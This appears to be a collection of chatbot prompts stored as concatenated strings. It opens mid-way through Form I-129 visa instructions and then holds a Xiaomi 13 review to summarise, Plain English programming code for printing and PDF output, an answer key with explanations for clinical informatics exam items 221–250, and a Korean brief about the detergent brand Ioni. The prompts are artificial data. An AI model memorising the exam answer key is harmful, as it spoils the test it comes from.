occupation.\nNOTE: While a petition is not required, citizens of Canada who are outside the United States may use this form to apply\nfor TN status.\nIf the applicant is a citizen of Canada or Mexico and is requesting an “Extension of Stay” in TN classification, submit\nevidence, such as a letter, describing the continuing employment and evidence of the beneficiary’s continued valid\nlicensing (if required by the profession and/or the state).\nForm I-129 Instructions 11/02/22 Page 25 of 30\nThe H-1B1 classification is for aliens from Chile or Singapore coming to the United States temporarily to perform\nservices in a specialty occupation. See the instructions for H-1B nonimmigrants for the definition of “specialty\noccupation.”\nWrite H-1B1 in the classification block.\nSubmit all evidence listed in the H Classification Supplement to Form I-129 under Section 1., Complete This Section If\nFiling for H-1B Classification, as well as evidence listed in the section of the instructions for H-1B specialty occupation\nclassification. The following supplements must be filed with the petition:\n1. Nonimmigrant Classification Based on a Trade Agreement Supplement; and\n2. H Classification Supplement; and\n3. H-1B Data Collection and Filing Fee Exemption Supplement.\nIf requesting an “Extension of Stay,” submit evidence, such as a letter describing the continuing employment, as well\nas evidence of the beneficiary’s continued valid licensing (if required by the profession and/or the state). Also, if this\nextension is the 6th consecutive extension requested for this beneficiary, a statement to that effect should be provided.\nChange of Status\nA petition for change of status to one of the classifications described in this section must be submitted with the initial\nevidence detailed above and with the initial evidence required by the separate instructions for all petitions involving\nchange of status.\nExtension of Stay\nA petition requesting an extension of stay for an employee in the United States must be filed with a copy of the\nbeneficiary’s Form I-94, Nonimmigrant Arrival/Departure Record, and a letter from the petitioner explaining the reasons\nfor the extension. Consult the regulations that relate to the specific nonimmigrant classification sought.\nNOTE: Dependent family members should use Form I-539 to file for an extension of stay.\nA nonimmigrant who must have a passport to be admitted must maintain a valid passport during his or her entire stay. If\na required passport is not valid, include a full explanation with your petition. A petition requesting an extension must be\nfiled with:\n1. The appropriate supplements for the classification;\n2. A letter describing the proffered employment;\n3. A copy of the beneficiary’s last 2 pay stubs and most recent W-2, if applicable;\n4. Evidence the beneficiary continues to meet the licensing requirements for the profession or occupation, if applicable;\n5. If requesting an extension of H-1B status (including H1B1 Chile/Singapore), evidence that the Department of Labor\nhas certified a labor condition application for the specialty occupation which is valid for the period of time requested;\n6. If requesting H-2A status, submit a U.S. Department of Labor approved temporary labor certification valid for\nthe dates of the extension, unless it is based on a continuation of previously approved employment due to exigent\ncircumstances and the extension will last no longer than 2 weeks;\n7. If requesting H-2B status, submit a U.S. Department of Labor approved temporary labor certification valid for the\ndates of extension.' +'Read this phone review in its entirety and then write me a blog section on the Xiaomi 13 Design Features and Build Quality:\n\nXiaomi 13 Full Review: The Art of Balance\nByPaco Zheng -Dec 20, 2022\nFacebookTwitterLinkedinReddIt\n\nBefore we start the unboxing, I will tell you the final conclusion right now: I love this phone. And the Xiaomi 13 Standard Edition is the most satisfying Xiaomi phone I’ve ever had. For most people, it is also the best Xiaomi phone to buy. I even think it has more appeal than the Xiaomi 12S Ultra and 13 Pro.\n\nIf you’re willing to listen to why I like the Xiaomi 13 so much, then I’d be happy to tell you what’s so great about it.\nDESIGN\nNow phones have been put in more and more stuff, the body has to be bigger and bigger. The largest regular phone has reached 7-inches, if you count the foldable phone then the number will be even like 8 inches. I often miss the old days when the phone could be controlled with one hand. When the mobile phone becomes no longer mobile, then more features also become meaningless. It’s embarrassing to think that it’s difficult to find a small-sized phone these days. It’s especially hard when you’re also trying to find a flagship small phone that doesn’t have shortcomings. I’ve put together the numbers of a few compact phones that look good right now, and blue one is their cons. It’s easy to see that the Xiaomi 13 really has no shortcomings. It’s a bigger phone than the other phones, even a little bigger than the Xiaomi 12. But it perfectly balances size and functionality. That’s the main reason why I like the Xiaomi 13: phones that are better than it, aren’t as small as it. Phones that are smaller than it, not as well as it.\nWhy would I choose white over blue vegan leather. Look at my Xiaomi 12S Ultra that I’ve been using for less than six months. Maybe the footage isn’t visible enough. The leather texture in the four corners has been smoothed out. If you don’t want your phone to look like this, then get the glass version. Because of the small size and light weight, fingerprints are more downward, but does not affect the feel much when holding it.\n\nIn the unboxing video for the Xiaomi 13 series, some viewers guessed that it was still USB 2.0. Congratulations, you guessed right. This is the nightmare for Xiaomi users the whole life.\nLike you guys, I think the Xiaomi 13 must have referenced the iPhone and Samsung. You can say the Xiaomi is copycat, but I don’t think it’s ugly, I even think it’s kind of pretty. Especially the screen. When you light up the screen, you can feel the beauty of it without me saying anything more. The screen, which is almost equal in width on all four sides, puts me in a happy mood every time I use the phone. If there is no front camera, I think it is the best looking screen in the world.\n\nSome people will ask: why don’t you buy Samsung S22? Haha, see Snapdragon 8 Gen 1, do you think I still want to buy it? In addition to the excellent bezel width, other specs are also very powerful. This Samsung E6 panel ensures high brightness while DC dimming is not missing. Adaptive colors, or “True Tone” on the iPhone, are also available. Some people complain that the standard version doesn’t have 2K resolution, but the Xiaomi 13 the display DPI is actually 414, which is sharper than most FHD+ phones. Using 2K resolution on a small phone can also bring down battery life, so the display is really good for just the right amount of time.\n\nPERFORMANCE & GAMING\nSnapdragon 8 Gen 2, LPDDR5X and UFS 4.0, the latest chips are of course there. The throttling test also shows that it can keep the performance stable for a long time, so it seems that the 8 Gen 2 has really improved a lot.\nSmaller phones are usually not very good at gaming because of their size limits. But the Xiaomi 13 is an exception. Maybe it’s the new 8 Gen 2 that’s so great, or maybe the cooling system is so nice. Anyway, it does well in Genshin Impact, running around Sumeru can’t stress it out anymore. There were lags during the game, all caused by loading textures. To test how long it takes for Xiaomi 13 to overheat, I followed it up with 25 minutes on Spiral Abyss floor 12, and it still held up. Oh, and the frame drops in the middle were caused by loading, not lagging. The temperature after 45 minutes of intense gaming is also only 45°C.\n\nAll in all, it has no problem handling games. But I still don’t recommend it for long term gaming, because the screen is really small. If you have big hands, it will be more difficult to play.\n\nCompared to the Pro version, the standard version seems to have a less surprising camera system. It does have an average camera performance, but because of this 75mm telephoto lens, it stands out from the crowd of small sized phones. The reason I used to have to use big and heavy flagship phones is that I love telephoto lenses. And most of my photography is taken with telephoto. Now that the Xiaomi 13 also has a 3.2x telephoto and is equipped with OIS, then I can use it with no worries. But don’t get me wrong, I mean an extra telephoto will allow you to compose more angles compared to other compact phones. But the image quality is definitely not as good as flagship phones.\n\nWhen the light is bad, as long as you zoom in on the picture, there is very little detail and all are sharpening traces. Just like the S22, it really can’t put a bigger sensor. So let’s give it a pass.\n\nCAMERA\n\nCompared to the Xiaomi 12S, the 13’s main camera is a step backwards. Although the sensor is smaller, the performance is not much of a step back. Most of the performance is okay, both day and night. I only have two complaints, one is the purple-fringing issue, which is not very well controlled. Another is that the color is a bit strange. Even though we were using the Leica Vibrant mode, the colors were always very dull. The too-intense colors look even worse in the samples taken on cloudy days. These two problems are even worse on the ultra-wide camera. So I’m actually not satisfied with the ultra-wide camera.\n\nBut then again, if I am given two options, a telephoto plus a good main camera, or a very good main camera plus a macro lens, I would definitely choose the former. Users of smaller phones must know what they need, because most of the time they are not able to have both.\n\nYou should not expect anything from the Xiaomi phone front camera. Except for the Civi series, they all perform pretty much the same. Although the photos look good and rich in detail. But the video performance is really not good. Not only is the 4k resolution missing, but it doesn’t even support 60fps. If you pay more attention to the recording of the front camera, then we recommend you to buy other phones.\n\nAll three lenses support different recording specs. The main camera supports up to 8k 24fps and OIS+EIS. the footage also looks the best, stable and clear. The ultra-wide camera supports up to 4k 30fps, which is also good. But the picture does not look so clear. The telephoto camera supports up to 1080P 60fps. only in 1080P 30fps can switch the lens during recording.\n\nBATTERY & CHARGING\n\n67w fast charging and 4500mAh battery, does it sound familiar? Yes, this classic combination is once again found in the Xiaomi 13. I have no complaints about the charging power, 67w is also fast and there is also 50w wireless charging. Plugged in and fully charged in just 41 minutes.\n\n4500mAh is big for a phone of this size, and in actual use it feels about the same as my 12S Ultra, which lasts 5 to 6 hours. Because of the new processor being more power efficient and the smaller screen, it already lasts about the same amount of time as many 6.8 inch phones. One less factor to stop you from buying a smaller phone, isn’t it?\nAfter a few days of use, MIUI 14 has no lags or bugs. Their claim of improving the smoothness of the new system seems to be working so far. No matter how fast your operation is, it doesn’t lag. I don’t know if older Xiaomi phones will be smoother with the MIUI 14 upgrade, but at least with my Xiaomi 13, MIUI 14 is definitely smooth enough.\n\nThere are relatively few new features in 14, one of which is the new icon customization feature. Some icons can change shape, but some can’t. The new folders also open the applications inside of it from the outside. Obviously, MIUI 14 also borrows some features from other systems. But it doesn’t matter to consumers, as long as it works, it’s fine. The biggest upgrade of MIUI 14 should still be this: you can delete most of the system applications. Those apps that you never use can finally be uninstalled. Even the album, weather, can be uninstalled. You can keep only 8 apps, it’s very crazy for MIUI.\nWhen Xiaomi 13 was released, I was very happy because Xiaomi almost created my dream phone. It fits my hand perfectly and didn’t lose important features. Especially the screen, until the S23 was released, I thought the Xiaomi 13 was the best small size flagship in Android. I will also keep my SIM card in this phone all the time, waiting for the next phone to come along that will fascinate me so much.\n\nTAGSXiaomiXiaomi 13Xiaomi 13 Pro' +'Lines 334-578 of the noodle:\n```\nTo beep: \nCall "user32.dll" "MessageBeep" with 0.\n\nTo begin a landscape sheet:\nMake the landscape sheet 11 inches by 8-1/2 inches.\nBegin a sheet with the landscape sheet.\n\nTo begin a landscape sheet given a title string:\nIf the pdf document flag is not set, clear the landscape sheet; exit.\nMake the landscape sheet 11 inches by 8-1/2 inches.\nBegin the sheet given the box and the title (pdf style).\n\nTo begin a portrait sheet:\nMake the portrait sheet 8-1/2 inches by 11 inches.\nBegin a sheet with the portrait sheet.\n\nTo begin a portrait sheet given a title string:\nIf the pdf document flag is not set, clear the portrait sheet; exit.\nMake the portrait sheet 8-1/2 inches by 11 inches.\nBegin the sheet given the box and the title (pdf style).\n\nTo begin printing:\nInitialize the printer canvas.\nPut a docinfo\'s magnitude into the docinfo\'s cbsize.\nPut the module\'s name\'s first into the docinfo\'s lpszdocname.\nCall "gdi32.dll" "StartDocA" with the printer canvas and the docinfo\'s whereabouts.\n\nTo begin printing a pdf:\nSet the pdf state\'s document flag.\nPut 0 into the pdf state\'s object number.\nCreate the pdf state\'s font index given 113.\nBegin printing the pdf (start the root).\nBegin printing the pdf (start the parent).\n\nTo begin printing a pdf (start the parent):\nAdd a parent pdf object given "parent".\nPut the parent into the pdf state\'s parent.\nAppend the parent\'s number then " 0 obj" to the parent.\nAppend "<<" to the parent.\nAppend "/Type /Pages" to the parent.\n\nTo begin printing a pdf (start the root):\nAdd a root pdf object given "root".\nPut the root into the pdf state\'s root.\nAppend the root\'s number then " 0 obj" to the root.\nAppend "<<" to the root.\nAppend "/Type /Catalog" to the root.\n\nTo begin a sheet:\nBegin the sheet as a portrait sheet.\n\nTo begin a sheet given a box:\nIf the pdf state\'s document flag is set, begin the sheet given the box (pdf style); exit.\nCall "kernel32.dll" "GlobalLock" with the printer device mode handle returning a pdevmode.\nIf the pdevmode is nil, exit.\nBitwise or the pdevmode\'s dmfields with 1 [dm\\_orientation].\nPut 1 [dmorient\\_portrait] into the pdevmode\'s dmorientation.\nIf the box\'s width is greater than the box\'s height, put 2 [dmorient\\_landscape] into the pdevmode\'s dmorientation.\nCall "gdi32.dll" "ResetDCA" with the printer canvas and the pdevmode.\nCall "kernel32.dll" "GlobalUnlock" with the printer device mode handle.\nCall "gdi32.dll" "SetGraphicsMode" with the printer canvas and 2 [gm\\_advanced].\nCall "gdi32.dll" "SetBkMode" with the printer canvas and 1 [transparent].\nCall "gdi32.dll" "SetMapMode" with the printer canvas and 8 [mm\\_anisotropic].\nCall "gdi32.dll" "GetDeviceCaps" with the printer canvas and 112 [physicaloffsetx] returning a pair\'s x.\nCall "gdi32.dll" "GetDeviceCaps" with the printer canvas and 113 [physicaloffsety] returning the pair\'s y.\nNegate the pair.\nCall "gdi32.dll" "SetViewportOrgEx" with the printer canvas and the pair\'s x and the pair\'s y and nil.\nCall "gdi32.dll" "GetDeviceCaps" with the printer canvas and 88 [logpixelsx] returning the pair\'s x.\nCall "gdi32.dll" "GetDeviceCaps" with the printer canvas and 90 [logpixelsy] returning the pair\'s y.\nCall "gdi32.dll" "SetViewportExtEx" with the printer canvas and the pair\'s x and the pair\'s y and nil.\nCall "gdi32.dll" "SetWindowOrgEx" with the printer canvas and 0 and 0 and nil.\nCall "gdi32.dll" "SetWindowExtEx" with the printer canvas and the tpi and the tpi and nil.\nCall "gdi32.dll" "StartPage" with the printer canvas.\nPut the printer canvas into the current canvas.\nCall "gdi32.dll" "GetDeviceCaps" with the printer canvas and 88 [logpixelsx] returning a number.\nPut the tpp into the saved tpp.\nPut the tpi divided by the number into the tpp.\n\nTo begin a sheet given a box (pdf style):\nBegin the sheet given the box and "" (pdf style).\n\nTo begin a sheet given a box and a title string:\nBegin the sheet given the box and the title (pdf style).\n\nTo begin a sheet given a box and a title string (pdf style - start the current page):\nAdd the pdf state\'s current page given "page".\nAppend the pdf state\'s current page\'s number then " 0 obj" to the pdf state\'s current page.\nAppend "<<" to the pdf state\'s current page. \nAppend "/Type /Page" to the pdf state\'s current page.\nAppend "/Parent " then the pdf state\'s parent\'s number then " 0 R" to the pdf state\'s current page.\nPut the box\'s width minus the tpp times 72 / the tpi into a width.\nPut the box\'s height minus the tpp times 72 / the tpi into a height.\nAppend "/MediaBox [0 0 " then the width then " " then the height then "]" to the pdf state\'s current page.\nPut the box\'s height minus the tpp into the pdf state\'s current height.\nAdd the pdf state\'s current contents given "contents".\nAppend "/Contents " then the pdf state\'s current contents\' number then " 0 R" to the pdf state\'s current page.\nAppend "0.05 0 0 0.05 1 1 cm" to the pdf state\'s current contents. \\ set matrix to scale 72/1440\nAppend "13 w 0 J 0 j 0 i" to the pdf state\'s current contents. \\ penwidth, linecap, linejoin, flatness \\ 15 w on penwidth comes out to wide\n\nTo begin a sheet given a box and a title string (pdf style):\nSet the pdf state\'s page flag.\nPut the clear color into the pdf state\'s current border.\nPut the clear color into the pdf state\'s current fill.\nBegin the sheet given the box and the title (pdf style - start the current page).\nIf the title is blank, exit.\nCreate a pdf outline entry given the title and the pdf state\'s current height and the pdf state\'s current page\'s number.\nAppend the pdf outline entry to the pdf state\'s outline entries.\n\nTo begin a sheet given a title string:\nBegin a portrait sheet given the title.\n\nThe bell byte is a byte equal to 7.\n\nThe Bible is a thing with some verses.\n\\A verse is a thing with a book abbreviation, a chapter number, a verse number and a string.\nA verse is a thing with a string.\n\nThe big-a byte is a byte equal to 65.\n\nThe big-a-acute byte is a byte equal to 193.\n\nThe big-a-circumflex byte is a byte equal to 194.\n\nThe big-a-diaeresis byte is a byte equal to 196.\n\nThe big-a-grave byte is a byte equal to 192.\n\nThe big-a-ring byte is a byte equal to 197.\n\nThe big-a-tilde byte is a byte equal to 195.\n\nThe big-ae byte is a byte equal to 198.\n\nThe big-b byte is a byte equal to 66.\n\nThe big-c byte is a byte equal to 67.\n\nThe big-c-cedilla byte is a byte equal to 199.\n\nThe big-d byte is a byte equal to 68.\n\nThe big-e byte is a byte equal to 69.\n\nThe big-e-acute byte is a byte equal to 201.\n\nThe big-e-circumflex byte is a byte equal to 202.\n\nThe big-e-diaeresis byte is a byte equal to 203.\n\nThe big-e-grave byte is a byte equal to 200.\n\nA big-endian unsigned wyrd is a record with 2 bytes.\n\nThe big-eth byte is a byte equal to 208.\n\nThe big-f byte is a byte equal to 70.\n\nThe big-g byte is a byte equal to 71.\n\nThe big-h byte is a byte equal to 72.\n\nThe big-i byte is a byte equal to 73.\n\nThe big-i-acute byte is a byte equal to 205.\n\nThe big-i-circumflex byte is a byte equal to 206.\n\nThe big-i-diaeresis byte is a byte equal to 207.\n\nThe big-i-grave byte is a byte equal to 204.\n\nThe big-j byte is a byte equal to 74.\n\nThe big-k byte is a byte equal to 75.\n\nThe big-l byte is a byte equal to 76.\n\nThe big-m byte is a byte equal to 77.\n\nThe big-n byte is a byte equal to 78.\n\nThe big-n-tilde byte is a byte equal to 209.\n\nThe big-o byte is a byte equal to 79.\n\nThe big-o-acute byte is a byte equal to 211.\n\nThe big-o-circumflex byte is a byte equal to 212.\n\nThe big-o-diaeresis byte is a byte equal to 214.\n\nThe big-o-grave byte is a byte equal to 210.\n\nThe big-o-stroke byte is a byte equal to 216.\n\nThe big-o-tilde byte is a byte equal to 213.\n\nThe big-oe byte is a byte equal to 140.\n\nThe big-p byte is a byte equal to 80.\n\nThe big-q byte is a byte equal to 81.\n\nThe big-r byte is a byte equal to 82.\n\nThe big-s byte is a byte equal to 83.\n\nThe big-s-caron byte is a byte equal to 138.\n\nThe big-t byte is a byte equal to 84.\n\nThe big-thorn byte is a byte equal to 222.\n\nThe big-u byte is a byte equal to 85.\n\nThe big-u-acute byte is a byte equal to 218.\n\nThe big-u-circumflex byte is a byte equal to 219.\n\nThe big-u-diaeresis byte is a byte equal to 220.\n\nThe big-u-grave byte is a byte equal to 217.\n\nThe big-v byte is a byte equal to 86.\n\nThe big-w byte is a byte equal to 87.\n\nThe big-x byte is a byte equal to 88.\n\nThe big-y byte is a byte equal to 89.\n\nThe big-y-acute byte is a byte equal to 221.\n\nThe big-y-diaeresis byte is a byte equal to 159.\n\nThe big-z byte is a byte equal to 90.\n\nThe big-z-caron byte is a byte equal to 142.\n\nA billion is 1000 millions.\n\nA binary string is a string.\n\nA bit is a unit.\n```' +'221\nTHE ANSWER IS A. Depreciation is an accounting method of allocating the cost of a tangible asset over its useful life. The direct materials budget is part of the operating budget for purchasing raw materials. An MRI machine is expected to last more than one year, and would therefore be on the capital budget, and not an operating expense. A mortgage is a many-year loan used to buy large items, usually real estate. (REF 4.5.5 Capital and operating budgeting)\n222\nTHE ANSWER IS A. When the results of a study are dichotomous and dramatic, it is often termed an all-or-none study. This particular study could also be called a case series or perhaps even a method paper, but these were not among the options. Ethics violations arise when patients are subjected to substandard care. In this case, there is no available cure or treatment for macular degeneration, so as long as patients consented to treatment, there are no ethical problems. Ecological studies involve studying at least one variable at the population level. (REF: Section 2.2.1 - Evidence Sources)\n223\nTHE ANSWER IS B. DICOM is a set of protocols and file formats used for transfer of medical images. Ethernet Cat-6 is a cabling specification to support gigabit transmission speeds. The W3C helps define standards for the world wide web. (REF 3.4.1 - Standards Development)\n224\nTHE ANSWER IS D. Instituting a significant change for a small part of the population would not be as effective as initiating a modest change for the majority of the population. In this question , choice A reflects making a big change for few people, while choice D would make a modest change for many people. Choice C is actually very similar to choice A in that it would make a big difference to very few people. Choice B offers a modest benefit to a small population. (REF: 1.2.1 - Determinants of health)\n225\nTHE ANSWER IS B. A strategy is the means by which an organization sets out to achieve its goals. A resource is a tangible or intangible aspect of the organization which can be used for this task. A value chain is a set of activities that an organization performs in order to deliver a product or service. Vision is the ideal that the organization pursues. (REF 4.5.3 – Strategy Formulation)\n226\nTHE ANSWER IS D. The SQL UPDATE command is used to modify an existing table. In this case, we want to change the Last\\_Name field of the record with id=3 to ‘Mankowitz’. Choice C will update all records to have Last\\_Name ‘Mankowitz’. Choice B will delete a record from the table. The ALTER TABLE command is used to modify the schema. As written, this command will generate a syntax error. (REF 3.1.5 - Data)\n227\nTHE ANSWER IS A. The peer-review process means that experts in the field of study review manuscripts before they are published. It is a hallmark of respected journals. The other choices are all false. (REF: 1.1.3 - Clinical Informatics Literature)\n228\nTHE ANSWER IS B. Only licensed surgeons may perform complex surgical operations. Physician assistants are allowed to assist in these operations as long as they are supervised by a physician. Nurse practitioners are allowed to perform some invasive procedures without supervision (depending on the state). Any provider of medical care may be sued for malpractice. All providers are required to complete some degree of continuing education. Many non-physician providers possess doctoral degrees. (REF: 1.2.2.4 - Education of health professionals)\n229\nTHE ANSWER IS A. A manager makes a make-or-buy decision when he decides whether goods or services should be made by the organization, or bought from an outside party. This decision is usually based on cost and availability of resources (such as staff expertise). It does not take into account other market forces, such as a competitor’s market share.\xa0 (REF: Section 4.4.2 Project Management – Identifying resources)\n230\nTHE ANSWER IS B. The reduction of waste (non-value-added processes) is the hallmark of the LEAN methodology. Delphi is a method of obtaining group consensus. Plan-Do-Study-Act (PDSA) is the most common method of quality improvement. Six-sigma seeks to improve processes until defects are so rare that they represent six standard deviations from the mean. (REF 2.3.3 Quality Improvement)\n231\nTHE ANSWER IS A. The BlueButton Initiative was one of the first attempts to allow patients to download their medical information. It was developed at the Veterans Affairs\xa0 hospitals for use in their EHR, called VistA. The CCD is a standard developed by HL7 and is a constrain on the RIM. It became popular when it was included in the Meaningful Use criteria. (REF 3.4.1 - Standards Development)\n232\nTHE ANSWER IS C. Hospitals, like other service industries, spend most of their capital on labor costs, so minimizing those costs increases revenues. Product innovation and customer loyalty may be important goals, but are not HRM tasks. Decreasing revenues is not an objective. (REF: 4.2.1 - Human Resources)\n233\nTHE ANSWER IS B. As time goes on, bugs become easier to find, but harder to fix because of the numerous moving parts. Warranties are sometimes, but not always provided with software, and tend to have limited support options. Testing a running system is a form of dynamic testing. Static testing involves reviewing source code. By definition, implementation means a running system, which makes static testing a poor answer.\xa0 (Ref 3.5.4 - Clinical information system testing)\n234\nTHE ANSWER IS D. A service which can be provided on a large scale is not valuable, rare, inimitable or specific to the organization. The other choices all contain an aspect which makes the product hard to replicate. (REF 4.5.3 – Strategy Formulation)\n235\nTHE ANSWER IS C. Criteria for de-identification are based on how hard it would be to re-identify a patient based on bits of data. Since dates of birth are often found in public records, it is much more susceptible to re-identification than, say, account numbers which are only found in patient records and hospital information systems. While choices B and D are true, they are not relevant to this question. (REF: Section 3.1.6. Technical approaches that enable sharing data)\n236\nTHE ANSWER IS C. Of the three requests listed, the RFQ is the most basic, and is used when the nature of the product is already known and the purchaser is simply negotiating price. An RFP is a formal document which explains, in detail, an organization’s needs and typically includes a thorough response from a vendor. An RFI is a shorter, less formal document of the same nature. The SDLC is a systematic method of designing and building systems. (REF: Section 3.5.2 - Clinical Information Needs Analysis)\n237\nTHE ANSWER IS B. This question tests a simple definition, but even if you did not know the answer, you should be able eliminate some choices. (REF: Section 4.6.2 - Change Theories)\n238\nTHE ANSWER IS D. Heuristics allow people to solve problems and make judgments quickly and efficiently, but they are also prone to errors. Cognitive bias often results from heuristics and can lead to systematic deviations from a standard of rationality or good judgment.\xa0 Decision support tools are designed to optimize results by providing additional information or alerting a clinician to the need for additional information. Likewise, Bayes Theorem is designed to optimize decision making. It does this by taking into account the pretest probability of a condition, while interpreting the results of testing. (REF Section 2.1.1 - The nature and cognitive aspects of decision making)\n239\nTHE ANSWER IS D. This is a confusing question, but it illustrates some points about nonsemantic concept identifiers. First of all, semantic concept identifiers can help the reader understand a concept’s place in the hierarchy. For example, ICD-10 is a hierarchical terminology. The code W21 corresponds to being hit by a ball. The code W21.01 corresponds to being struck by a football. W21.02 is a soccer ball. W21.03 is a baseball. Suppose we wanted to extend the hierarchy to include all kinds of sports injuries, including being hit by a jai-alai ball or a medicine ball. At some point, we’d either run out of numbers or we’d have to change the coding system. This is why choice B is a good argument. Now suppose we decide that we want to group all football injuries together, such as being tackled, which is Y93.61. Unfortunately, this code is found in a completely different hierarchy and can’t be found within the W21 group, which is why C is a good reason. Similarly, choice A explains the next step in this argument. Suppose we did reclassify all football injuries into the same heading. As long a we respect concept permanence (concepts can not be deleted), we would now have an orphan code of Y93.61. Finally, we are left with choice D. At one point, when computing power was relatively expensive, using integer codes was much more efficient. With modern systems, the difference is less important. Although D is a reasonable choice, it is the weakest argument among those listed. (REF: 3.4.6 Ontologies and Taxonomies)\n240\nTHE ANSWER IS D. Using the formula for the positive predictive value, \nPPV=TP / (TP+FP)\n19/(19+1) = 95%\n(REF: Section 2.1.2 - Decision Science)\n241\nTHE ANSWER IS C. There are many approaches to managing change, but all include the formation of a group of leaders to spearhead the mission. Effective change requires buy-in from all stakeholders. If rank and file employees are unaware of the ultimate goals of the change, they are less likely support the process. Similarly, if employees are not empowered to make decisions, the entire process will slow down whenever it encounters a new variable. Short term wins should be in line with the corporate vision, but should not be used to define the vision. The vision should already be in place before short term wins are achieved. (REF 4.6.3 Change Management Strategies)\n242\nTHE ANSWER IS A. Operational expenses (opex) are usually funded with cash flow. Capital budgets are funded with retained earnings, debt or equity. (REF 4.5.5. Capital and operating budgeting)\n243\nTHE ANSWER IS B. The OSI model contains seven layers. The lowest layer is the physical layer, such as network cabling. The highest level is the application level. In the middle are levels for networking, authentication, session management, presentation and other technologies. (REF 3.1.3 - Networks)\n244\nTHE ANSWER IS D. The project charter is the output from the initiating phase of integration management. Note that it is not necessary to know that we are talking about integration management, because the only other activity in the initiating phase is identification of stakeholders. HR Planning and the creation of the project team is done in the HR knowledge area. Both procurements and creating the team are part of the execution phase. (REF: Section 4.4.1 Project Management Basics)\n245\nTHE ANSWER IS D. A/B testing presents users with two alternatives and measures their acceptance. It can be done on a large scale (such as with web sites) or a smaller scale with individual interviews. (REF: Section 3.2.2 - HCI Evaluation)\n246\nTHE ANSWER IS A. The distinction between conflict management and conflict resolution is that conflict management seeks to preserve the positive aspects of conflict while conflict resolution seeks to remove the conflict entirely. The other choices are all true, but do not reflect the difference between resolution and management. (REF: 4.1.4 Conflict Management)\n247\nTHE ANSWER IS D. Keystroke-Level Model is a type of HCI analysis that focuses on how the keyboard and mouse are utilized. Mental preparation is considered part of the action. Sketching would not be included in this kind of analysis. (REF: Section 3.2.1 Models, theories, and practices of HCI)\n248\nTHE ANSWER IS C. In a double-blind study, neither the investigator nor the subject knows which study arm they are in. The other choices may represent also represent flaws. (REF: Section 2.2.1 - Evidence Sources)\n249\nTHE ANSWER IS D. A method paper (also called an application paper) describes a novel technique or procedure. Choices A and C represent case reports. Choice B is probably original research. (REF: Section 2.2.1 - Evidence Sources)\n250\nTHE ANSWER IS A. CDS has shown benefits in diagnosis, treatment guidelines, clinical pathway adherence. Unfortunately, data on patient outcomes, physician efficiency and errors in data entry are lacking. (REF: 2.1.3 - Application of CDS)' +'아래 내용은 친환경 세제 브랜드 \'이오니\' 인터뷰 내용이다. 아래 내용을 바탕으로 브랜드가 추구하는 가치를 강조하는 유튜브 스크립트를 작성해 주세요.\n\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values and philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or investment attraction\nWe are continuously actively working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop-up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.\n번역결과\nThe following is an interview with eco-friendly detergent brand \'Ioni\'. Please use this information to create a plan for YouTube video production.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an 